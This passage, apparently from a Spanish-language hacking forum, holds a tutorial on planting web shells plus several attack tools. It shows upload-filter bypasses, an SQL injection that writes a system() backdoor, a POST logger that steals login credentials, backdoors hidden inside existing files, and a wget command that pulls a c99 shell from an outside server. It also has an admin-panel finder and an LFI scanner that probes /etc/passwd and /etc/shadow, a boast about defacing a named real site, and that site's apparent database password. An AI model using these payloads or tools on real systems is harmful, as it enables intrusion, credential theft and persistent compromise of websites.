me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.

aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
Código: php
http://www.el-informador.com/admin/

me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).

por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como

Código: php

<?php
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>


aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.

Código: php

<?php
$tipo=explode(".",$nombreFIle);
if($tipo[1]=='jpg'){
echo "paso";
}
?>

con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.


haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :

Código: php
union+select+,1,2,'<? system($_GET[cmd]);  ?>'+into+oufile+ruta/shell.php




si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.

Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto

Código: php

allow_url_include = On
allow_url_fopen = On

teniendo el put activado podemos enviar enla cabecera http algo como
Código: php


PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4

<?php
aqui code de la shell
?>


y podremos subir shell.


0x05 Ya subi la shell y ahora?

Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.

ejemplo



ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.



si lo clickeamos nos dara informacion como esta:

Código: php
$user_db = 'i1n1f3o4_admin'; // Server Username    
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)


con lo que nos podemos autenticar aqui.


Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:



la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.

la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.

0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login

Código: php

<?php
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]<br>";
}

$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>


Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.

0x07 Dejar shell incrustada (Shell Embedded)

se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi

Código: php
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo

y lo ejecutariamos asi

Código: php
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar


Bueno aqui acaba este listado de tips... y de teoria... espere les guste.


0x08 Preguntas de otros foros




ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..

R

digamos q esta es su shell

Código: php
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



y este es el index.php

Código: php
<?php
echo "Lo que sea";
?>




hay varias formas ... por un lado esta una que es simplemente:

Código: php
<?php
echo "Lo que sea";
?>

<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


o

Código: php
<?php
echo "Lo que sea";

if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>





p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger... 



edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿

R:


si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.

la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)

con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo

Código: php
<Files *.jpg> 
ForceType application/x-httpd-php
</Files>



eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.

psdta: buena pregunta, con esto complementare el tuto :D



la otra que se me ocurre es que causemos un lfi aproposito asi:

Código: php
<?php
if(!empty($_GET['file'])){
include $_GET['file'];
}
?>



y podremos incluir nuestra shell asi.

Código: php
http://www.victim.com/filewithlfi.php?file=shell.jpg



lo que hara que se incluya la supuesta imagen y se ejecute el php.




C3llu5 hackxcrack

tengo una pregunta

enkontre una web vulnerable, y logre subir un  X texto para komprebar si me dejaba,

haora e intentado subir una shell , pero haora mi problem  es el peso de la shell,  no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,

pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,

R:

man, que SO tiene el servidor?

podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)

o puede intentar subir un archivo php que ejecute esto

Código: php
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php


donde
Código: php
www.server.com/c99.txt

es la ubicacion de tu shell
y ya despues accedes a:

Código: php
www.victim.com/shell.php






0x10 Conclusiones



Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades


0x10 Agrecimiento



Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

Psdts
si ven errores o alguna bestialidad les agradezco me informen ;D

Continuara...
by _84kur10_
#36
Bugs y Exploits / Admin Finder By _84kur10_
Febrero 24, 2010, 03:15:17 PM
Les dejo mi buscador de admin login, falta mejorarlo para q sea mas rapido, pero = funciona


Código: php

<?php

echo
"
###########     Admin Finder      By _84kur10_- ############
#                                                          #
#        Buscador de admin logins                          #
#        Automatiza la busqueda de logueos                 #
#                                                          #
#                                                          #
#==========================================================#
#  Usage: php loginFinder.php http://www.website.com       #
#                                                          #
############################################################\n\n";
function loadData()
{
$fp = "admin.txt";
$strs=file($fp);
return $strs;
}
$admins=loadData();

foreach($admins as $index => $test)
{

$url=$argv[1].'/'.trim($test);
if($result=@file_get_contents($url))
echo "posible logueo encontrado ".$argv[1].'/'.$test;
}



?>



admin.txt
Código: php

admin1.php
admin1.html
admin2.php
admin2.html
admin.php
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/

#37
Bugs y Exploits / LFI-Checker by Guason
Febrero 24, 2010, 03:13:50 PM
Código: php

#Name program = LFI-CHECKER
#Version = 0.1
#Autor = Guason
#Funcion del programa = Busca vulnerabilidad LFI probando con paths posibles

use LWP::Simple;

@paths = ('/etc/passwd',
'../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../etc/passwd%00',
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_ log',
'/usr/local/apache/logs/access. log',
'/var/log/apache/access_log',
'/var/log/apache2/access_log',
'/var/log/apache/access.log',
'/var/log/apache2/access.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache2/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/error.log',
'/var/log/error_log',
'/var/log/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/usr/local/apache2/logs/access_log',
'/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log',
'/usr/local/apache2/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/access.log',
'/var/log/httpd/error_log',
'/var/log/httpd/error.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/access_log',
'/var/log/apache2/access.log',
'/var/log/apache2/error_log',
'/var/log/apache2/error.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/log/error_log',
'/var/log/error.log',
'/opt/lampp/logs/access_log',
'/opt/lampp/logs/error_log',
'/opt/xampp/logs/access_log',
'/opt/xampp/logs/error_log',
'/opt/lampp/logs/access.log',
'/opt/lampp/logs/error.log',
'/opt/xampp/logs/access.log',
'/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log',
'/Program Files\Apache Group\Apache\logs\error.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/access_log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/access_log',
'/var/log/error_log',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/usr/local/apache/httpd.conf',
'/usr/local/apache2/httpd.conf',
'/usr/local/httpd/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf',
'/usr/local/etc/httpd/conf/httpd.conf',
'/usr/apache2/conf/httpd.conf',
'/usr/apache/conf/httpd.conf',
'/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/etc/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/etc/httpd/httpd.conf',
'/etc/http/httpd.conf',
'/etc/httpd.conf',
'/opt/apache/conf/httpd.conf',
'/opt/apache2/conf/httpd.conf',
'/var/www/conf/httpd.conf',
'/private/etc/httpd/httpd.conf',
'/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
'/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf',
'/Program Files\xampp\apache\conf\httpd.conf',
'/usr/local/php/httpd.conf.php',
'/usr/local/php4/httpd.conf.php',
'/usr/local/php5/httpd.conf.php',
'/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf',
'/usr/local/php5/httpd.conf',
'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/usr/local/etc/apache/vhosts.conf',
'/etc/php.ini',
'/bin/php.ini',
'/etc/httpd/php.ini',
'/usr/lib/php.ini',
'/usr/lib/php/php.ini',
'/usr/local/etc/php.ini',
'/usr/local/lib/php.ini',
'/usr/local/php/lib/php.ini',
'/usr/local/php4/lib/php.ini',
'/usr/local/php5/lib/php.ini',
'/usr/local/apache/conf/php.ini',
'/etc/php4.4/fcgi/php.ini',
'/etc/php4/apache/php.ini',
'/etc/php4/apache2/php.ini',
'/etc/php5/apache/php.ini',
'/etc/php5/apache2/php.ini',
'/etc/php/php.ini',
'/etc/php/php4/php.ini',
'/etc/php/apache/php.ini',
'/etc/php/apache2/php.ini',
'/web/conf/php.ini',
'/usr/local/Zend/etc/php.ini',
'/opt/xampp/etc/php.ini',
'/var/local/www/conf/php.ini',
'/etc/php/cgi/php.ini',
'/etc/php4/cgi/php.ini',
'/etc/php5/cgi/php.ini',
'/php5\php.ini',
'/php4\php.ini',
'/php\php.ini',
'/PHP\php.ini',
'/WINDOWS\php.ini',
'/WINNT\php.ini',
'/apache\php\php.ini',
'/xampp\apache\bin\php.ini',
'/NetServer\bin\stable\apache\php.ini',
'/home2\bin\stable\apache\php.ini',
'/home\bin\stable\apache\php.ini',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/login_log',
'/usr/local/cpanel/logs/stats_log',
'/var/cpanel/cpanel.config',
'/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log',
'/var/log/mysqlderror.log',
'/var/log/mysql/mysql.log',
'/var/log/mysql/mysql-slow.log',
'/var/mysql.log',
'/var/lib/mysql/my.cnf',
'/etc/mysql/my.cnf',
'/etc/my.cnf',
'/etc/logrotate.d/proftpd',
'/www/logs/proftpd.system.log',
'/var/log/proftpd',
'/etc/proftp.conf',
'/etc/protpd/proftpd.conf',
'/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf',
'/var/log/vsftpd.log',
'/etc/vsftpd.chroot_list',
'/etc/logrotate.d/vsftpd.log',
'/etc/vsftpd/vsftpd.conf',
'/etc/vsftpd.conf',
'/etc/chrootUsers',
'/var/log/xferlog',
'/var/adm/log/xferlog',
'/etc/wu-ftpd/ftpaccess',
'/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers',
'/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.conf',
'/usr/local/etc/pure-ftpd.conf',
'/usr/local/etc/pureftpd.pdb',
'/usr/local/pureftpd/etc/pureftpd.pdb',
'/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf',
'-/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.pdb',
'/etc/pureftpd.pdb',
'/etc/pureftpd.passwd',
'/etc/pure-ftpd/pureftpd.pdb',
'/usr/ports/ftp/pure-ftpd/',
'/usr/ports/net/pure-ftpd/',
'/usr/pkgsrc/net/pureftpd/',
'/usr/ports/contrib/pure-ftpd/',
'/var/log/pure-ftpd/pure-ftpd.log',
'/logs/pure-ftpd.log',
'/var/log/pureftpd.log',
'/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy',
'/var/log/ftplog',
'/etc/logrotate.d/ftp',
'/etc/ftpchroot',
'/etc/ftphosts',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/maillog',
'/var/log/exim_paniclog',
'/var/log/exim/paniclog',
'/var/log/exim/rejectlog',
'/var/log/exim_rejectlog');

if (!$ARGV[0]) {
print "\n\nLFI Checker 0.1 by Guason\n\n";
print "\nSintasis = $0 <WEB>\n\n";
print "\n<WEB> = Solamente la web ejemplo = www.macizorras.com\n\n";
print "Written by Guason\n";
exit 1;
}
my $host = $ARGV[0];

print "\n\n###########################SCANEANDO $host###################################################\n\n";

foreach $path(@paths){


print "$path\n";
$weber = $host.$path;

$response=get($weber);

if($response=~ /root:x:/) {
&yeah;
}
}
sub yeah {
print "\n\nSe encontro $path\n\n\n";
}

print "\n\nWritten by Guason || 2009\n\n";
print "\n\nVisita guason-cracker.blogspot.com & infierno-hacking.webcindario.com\n\n";
print "############################END############################################\n";
exit 1;


#Agradecimientos = none = 0
#Email = [email protected]
#Blog = guason-cracker.blogspot.com
#Web = infierno-hacking.webcindario.com
#Good Bye


Fuent: LatinoHack
#38
Código: php
#!/usr/bin/perl

##
# By GlaDiaT0R
# Admin Control Panel Finder ___ Version 1
# Home: Darkgh0st.com
##

use HTTP::Request;
use LWP::UserAgent;

system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');

print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By GlaDiaT0R----------[*]\n" ;
print "[*]-------------From Darkgh0st.com---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";

print "~# enter site to scan\n* ex: www.domaine.com ou www.domaine.com/path\n-> ";
$site=<STDIN>;
chomp $site;

print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=<STDIN>;
chomp($code);

if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";

print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";

if($code eq "asp"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','

panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp

','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin

/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/inde

x.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.htm

l','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','

modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.

html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','a

dmin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/logi

n.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/a

dmin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','a

dmincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminar

ea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/adm

in.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','we

badmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/logi

n.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp'

,'admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.

asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/inde

x.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin

/index.asp','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}




# -------------------------------------------------------
# -------------------test cfm ---------------------------|
# -------------------------------------------------------





if($code eq "cfm"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','

panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cf

m','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admi

n/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/inde

x.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.htm

l','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','

modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.

html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm',

'admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/log

in.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/a

dmin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','a

dmincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminar

ea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/adm

in.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','w

ebadmin.cfm','webadmin/index.cfm',
